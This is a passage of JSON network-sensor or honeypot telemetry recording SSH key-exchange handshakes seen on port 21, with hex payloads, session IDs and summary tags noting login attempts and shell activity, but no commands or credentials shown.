rsa-sha2-512-cert-v01@openssh.com\u0000\u0000\u0000�arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128-gcm@openssh.com,3des-cbc,chacha20-poly1305@openssh.com\u0000\u0000\u0000�arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128-gcm@openssh.com,3des-cbc,chacha20-poly1305@openssh.com\u0000\u0000\u0000Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96\u0000\u0000\u0000Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000ԓ{.��s�q}[_��","payload_hex":"5353482d322e302d4f70656e5353480d0a000004ac0e14d32c709877ab66f9b80637d304861526000000ac637572766532353531392d7368613235362c637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703532312c6469666669652d68656c6c6d616e2d67726f757031342d7368613235362c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6578742d696e666f2d63000002197373682d7273612c7373682d6473732c65636473612d736861322d6e697374703235362c736b2d65636473612d736861322d6e69737470323536406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c7373682d656432353531392c736b2d7373682d65643235353139406f70656e7373682e636f6d2c7273612d736861322d3235362c7273612d736861322d3531322c7373682d7273612d636572742d763031406f70656e7373682e636f6d2c7373682d6473732d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d636572742d763031406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d763031406f70656e7373682e636f6d00000087617263666f75722c617263666f75723132382c617263666f75723235362c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d6362632c6165733132382d67636d406f70656e7373682e636f6d2c336465732d6362632c63686163686132302d706f6c7931333035406f70656e7373682e636f6d00000087617263666f75722c617263666f75723132382c617263666f75723235362c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d6362632c6165733132382d67636d406f70656e7373682e636f6d2c336465732d6362632c63686163686132302d706f6c7931333035406f70656e7373682e636f6d00000042686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d736861312c686d61632d736861312d393600000042686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d736861312c686d61632d736861312d3936000000046e6f6e65000000046e6f6e6500000000000000000000000000d4937b2e95dc73c0717d5b5feab0","method":"","user_agent":"","ja3":"","session":"3b3a9a76-22bb-44d3-b03d-20f59803692a","seq":1,"duration_ms":335,"bytes_in":1217,"bytes_out":12,"enriched":{"digest":"732d528e42431427","label":"SSH","strings":["SSH-2.0-OpenSSH","curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nist…","ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,sk-ecdsa-sha2-nistp256@openssh.com,ecdsa-sha…","arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128…","Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96","none","q}[_"],"iocs":{"domains":["libssh.org","openssh.com"]}}},{"timestamp":"2026-10-19T19:42:08","port":21,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-OpenSSH\r\n\u0000\u0000\u0004�\u000e\u0014�4�\u0017��\"7u$�:��$9\u0000\u0000\u0000�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c\u0000\u0000\u0002\u0019ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,sk-ecdsa-sha2-nistp256@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,sk-ssh-ed25519@openssh.com,rsa-sha2-256,rsa-sha2-512,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,sk-ecdsa-sha2-nistp256-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,sk-ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256-cert-v01@openssh.com,rsa-sha2-512-cert-v01@openssh.com\u0000\u0000\u0000�arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128-gcm@openssh.com,3des-cbc,chacha20-poly1305@openssh.com\u0000\u0000\u0000�arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128-gcm@openssh.com,3des-cbc,chacha20-poly1305@openssh.com\u0000\u0000\u0000Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96\u0000\u0000\u0000Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000b�3���%�L��,P�","payload_hex":"5353482d322e302d4f70656e5353480d0a000004ac0e14af348417fab822377524923acbc92439000000ac637572766532353531392d7368613235362c637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703532312c6469666669652d68656c6c6d616e2d67726f757031342d7368613235362c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6578742d696e666f2d63000002197373682d7273612c7373682d6473732c65636473612d736861322d6e697374703235362c736b2d65636473612d736861322d6e69737470323536406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c7373682d656432353531392c736b2d7373682d65643235353139406f70656e7373682e636f6d2c7273612d736861322d3235362c7273612d736861322d3531322c7373682d7273612d636572742d763031406f70656e7373682e636f6d2c7373682d6473732d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d636572742d763031406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d763031406f70656e7373682e636f6d00000087617263666f75722c617263666f75723132382c617263666f75723235362c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d6362632c6165733132382d67636d406f70656e7373682e636f6d2c336465732d6362632c63686163686132302d706f6c7931333035406f70656e7373682e636f6d00000087617263666f75722c617263666f75723132382c617263666f75723235362c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d6362632c6165733132382d67636d406f70656e7373682e636f6d2c336465732d6362632c63686163686132302d706f6c7931333035406f70656e7373682e636f6d00000042686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d736861312c686d61632d736861312d393600000042686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d736861312c686d61632d736861312d3936000000046e6f6e65000000046e6f6e650000000000000000000000000062d73395a69825984cbbbf2c50c9","method":"","user_agent":"","ja3":"","session":"333f254b-f65e-46bc-8edf-9635d0f88bf3","seq":1,"duration_ms":408,"bytes_in":1217,"bytes_out":34,"enriched":{"digest":"33e3ce2f1fe2784d","label":"SSH","strings":["SSH-2.0-OpenSSH","\"7u$","curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nist…","ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,sk-ecdsa-sha2-nistp256@openssh.com,ecdsa-sha…","arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128…","Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96","none","noneb"],"iocs":{"domains":["libssh.org","openssh.com"]}}}],"http_methods":[],"distinct_ports_total":27,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-OpenSSH","count":1442}],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":8},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":8},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":33}]}